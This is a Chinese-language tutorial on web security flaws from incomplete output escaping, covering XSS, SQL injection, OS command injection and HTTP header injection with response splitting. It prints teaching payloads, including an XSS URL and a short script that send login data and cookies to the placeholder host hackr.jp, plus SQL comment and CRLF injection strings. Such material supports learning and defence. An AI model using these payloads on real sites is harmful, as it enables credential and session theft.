HTTP基础10--web(2)

因输出值转义不彻底引起的安全漏洞

实施 Web 应用的安全对策可大体分为如下两部分。

• 客户端的验证

• Web 应用端（服务器端）的验证: 输入值验证 / 输出值转义

• 客户端容许篡改数据或关闭 JavaScript，不适合将 JavaScript 验证做为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误，起到提升 UI 体验的做用。

• Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具备攻击性意义的代码。输入值验证一般是指检查是不是符合系统业务逻辑的数值或检查字符编码等预防对策。

• 从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际，针对输出作值转义处理是一项相当重要的安全策略。当输出值转义不彻底时，会因触发攻击者传入的攻击代码，而给输出对象带来损害。

跨站脚本攻击

跨站脚本攻击（Cross-Site Scripting，XSS）是指经过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态建立的 HTML 部分有可能隐藏着安全漏洞。就这样，攻击者编写脚本设下陷阱，用户在本身的浏览器上运行时，一不当心就会受到被动攻击。

跨站脚本攻击有可能形成如下影响。

• 利用虚假输入表单骗取用户我的信息。

• 利用脚本窃取用户的 Cookie 值，被害者在不知情的状况下，帮助攻击者发送恶意请求。

• 显示伪造的文章或图片。

跨站脚本攻击案例

• 在动态生成 HTML 处发生:

• XSS 是攻击者利用预先设置的陷阱触发的被动攻击

下图网站经过地址栏中 URI 的查询字段指定 ID，即至关于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞。

隐藏植入事先准备好的欺诈邮件中或 Web 页面内，诱使用户去点击该 URL。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

浏览器打开该 URI 后，直观感受没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码以后，就会直接发送到攻击者的网站（也就是 hackr.jp），致使我的登陆信息被窃取。

以后，ID 及密码会传给该正规网站，而接下来仍然是按正常登陆步骤，用户很难意识到本身的登陆信息已遭泄露。

• 对用户 Cookie 的窃取攻击

除了在表单中设下圈套以外，下面那种恶意构造的脚本一样可以以跨站脚本攻击的方式，窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序，便可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站（http://hackr.jp/），记录在他的登陆日志中。结果，攻击者就这样窃取到用户的 Cookie 信息了。

• SQL 注入攻击

指针对 Web 应用使用的数据库，经过运行非法的 SQL 而产生的攻击;若是在调用 SQL 语句的方式上存在疏漏，就有可能执行被恶意注入（Injection）非法 SQL 语句。

SQL 注入攻击有可能会形成如下等影响。

• 非法查看或篡改数据库内的数据

• 规避认证

• 执行和数据库服务器业务关联的程序等

SQL 注入攻击案例

下面以某个购物网站的搜索功能为例，讲解 SQL 注入攻击。经过该功能，咱们能够将某做者的名字做为搜索关键字，查找该做者的全部著做。

• 正常处理的操做示例

URL 的查询字段已指定 q= 上野宣，这个值由 Web 应用传入到 SQL 语句中，构成下方的 SQL 语句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

该 SQL 语句表示“从 bookTbl 表中，显示知足 author= 上野宣 and flag=1（可售）所在行的数据”。

• SQL 注入攻击的操做示例

把刚才指定查询字段的上野宣改写成“上野宣'--”。

构成的 SQL 语句就变成“从数据库的 bookTbl 表中，显示知足 author= 上野宣条件所在行的数据”，以下所示。

SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 语句中的 -- 以后全视为注释。即，and flag=1 这个条件被自动忽略了。

OS 命令注入攻击

指经过 Web 应用，执行非法的操做系统命令达到攻击的目的。假若调用 Shell 时存在疏漏，就能够执行插入的非法 OS 命令。

HTTP 首部注入攻击

HTTP 首部注入攻击（HTTP Header Injection）是指攻击者经过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式;向首部主体内添加内容的攻击称为 HTTP 响应截断攻击（HTTP Response Splitting Attack）;以下所示，Web 应用有时会把从外部接收到的数值，赋给响应首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

＊12345就是插入值

HTTP 首部注入攻击有可能会形成如下一些影响。

• 设置任何 Cookie 信息

• 重定向至任意 URL

• 显示任意的主体（HTTP 响应截断攻击）

HTTP 首部注入攻击案例

以选定某个类别后便可跳转至各种别对应页面的功能为例。该功能为每一个类别都设定了一个类别 ID 值，一旦选定某类别，就会将该 ID 值反映在响应内的 Location 首部字段内，形如 Location: http://example.com/?cat=101。令浏览器发生重定 向跳转。

攻击者如下面的内容替代以前的类别 ID 后发送请求。

**其中，%0D%0A 表明 HTTP 报文中的换行符，紧接着的是可强制将攻击者网站（http://hackr.jp/）的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段;发送该请求以后，假设结果返回如下响应。**

Location: http://example.com/?cat=101（%0D%0A ：换行符）
Set-Cookie: SID=123456789

**此刻，首部字段 Set-Cookie 已生效，所以攻击者可指定修改任意的 Cookie 信息。经过和会话固定攻击（攻击者可以使用指定的会话 ID）攻击组合，攻击者可假装成用户;攻击者输入的 %0D%0A，本来应该属于首部字段 Location 的查询值部分，但通过解析后，%0D%0A 变成了换行符，结果插入了新的首部字段;这样一来，攻击者可在响应中插入任意的首部字段。**

###HTTP 响应截断攻击###

**HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同，可是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可做出 HTTP 首部与主体分隔所需的空行了，这样就能显示伪造的主体，达到攻击目的。这样的攻击叫作 HTTP 响应截断攻击。**

%0D%0A%0D%0A

**在可能进行 HTTP 首部注入的环节，经过发送上面的字符串，返回结果获得如下这种响应。**

Set-Cookie: UID=（%0D%0A ：换行符）
（%0D%0A ：换行符）
想要显示的网页内容 <!--（原来页面对应的首部字段和主体部分全视为注释）
```
利用这个攻击，已触发陷阱的用户浏览器会显示伪造的 Web 页面，再让用户输入本身的我的信息等，可达到和跨站脚本攻击相同的效果。**

另外，滥用 HTTP/1.1 中聚集多响应返回功能，会致使缓存服务器对任意内容进行缓存操做。这种攻击称为缓存污染。使用该缓存服务器的用户，在浏览遭受攻击的网站时，会不断地浏览被替换掉的 Web 网页。